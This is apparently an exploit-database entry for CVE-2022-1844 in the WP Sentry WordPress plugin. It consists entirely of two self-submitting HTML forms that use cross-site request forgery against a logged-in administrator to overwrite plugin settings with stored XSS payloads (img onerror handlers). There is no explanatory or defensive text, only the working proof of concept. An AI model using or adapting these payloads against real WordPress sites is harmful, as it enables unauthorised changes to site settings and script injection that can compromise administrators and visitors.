Exploit for WP Sentry <= 1.0 - Arbitrary Settings Update to Stored XSS via CSRF CVE-2022-1844

## https://sploitus.com/exploit?id=WPEX-ID:F0B0BAAC-7F44-44E1-AF73-5A72B967858D
<form id="test" action="https://example.com/wp-admin/admin.php?page=sentry-previews" method="POST">
    <input type="text" name="mode" value="update">
    <input type="text" name="preview" value="None">
    <input type="text" name="preview_permalink" value='"><img src onerror=alert(/XSS/)>'>
    <input type="text" name="deny_message" value="<img src=x onerror=alert(1)>">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-sentry%2Fwp-sentry.php" method="POST">
    <input type="text" name="mode" value="update">
    <input type="text" name="post_user_list_enabled" value="Yes">
    <input type="text" name="title_prefix" value="<img src=x onerror=alert(1)>">
    <input type="text" name="title_postfix" value="">
    <input type="text" name="widget_pages_enabled" value="No">
    <input type="text" name="widget_recent_comments_enabled" value="Yes">
</form>
<script>
    document.getElementById("test").submit();
</script>